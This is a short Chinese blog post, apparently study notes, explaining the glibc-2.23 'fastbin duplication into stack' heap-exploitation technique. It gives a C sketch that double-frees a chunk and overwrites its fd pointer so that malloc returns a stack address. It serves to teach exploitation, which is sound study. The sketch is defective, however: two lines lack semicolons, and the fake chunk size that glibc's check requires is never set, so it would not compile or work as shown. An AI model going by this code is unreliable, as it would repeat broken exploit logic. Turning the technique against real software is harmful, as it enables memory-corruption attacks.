Fastbin duplication into stack

黎 浩然/ 25 5 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.23

根据上面的fastbin duplication,我们可以两次从fastbin分配到同一个地址。于此,在第一次分配后,我们可以修改该chunk的fd位置的内容,使得在再下一次分配到该chunk之后再次分配时能够分配到自己修改的fd的值所指向的地址,比如栈。

本质上,是通过double free的手段获得了一个操作fastbin中块的替身

Source code:

unsigned long long stack_var;
// 8+(char *)&stack_var is where we want

int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

free(a);
free(b);
free(a);

unsigned long long *d = malloc(8); // mirror of fastbin chunk
malloc(8)  // free(b)

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

malloc(8)
assert(malloc(8) == 8+(char *)&stack_var)
Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*